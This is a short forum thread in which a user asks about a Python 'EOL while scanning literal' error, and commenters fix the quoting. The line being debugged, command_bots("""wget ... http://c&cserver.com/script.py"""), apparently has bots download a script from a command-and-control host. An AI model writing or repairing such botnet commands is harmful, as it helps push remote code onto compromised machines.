Skip to content
← Back to Community
EOL while scanning literal
Profile icon
BrwlrNet

Okay, so I got this ebic code, but this Eol is touching me. Can someone tell what is wrong?

Voters
Profile icon
cookiswirls
Profile icon
BrwlrNet
Comments
hotnewtop
Profile icon
CodeLongAndPros

I think you need to escape the " in line 52
It should be:

command_bots("""wget -O /Users/Owner/Desktop/ \"http://c&cserver.com/script.py\"""")
Profile icon
AphixDev

Looks like python is counting that last quotation mark as part of the three that indicate the end of the string. Therefore, it seems that you have 4 quotation marks at the end. Try this:

command_bots("""wget -O /Users/Owner/Desktop/ 'http://c&cserver.com/script.py'""")
Profile icon
BrwlrNet

The EOL is at the bottem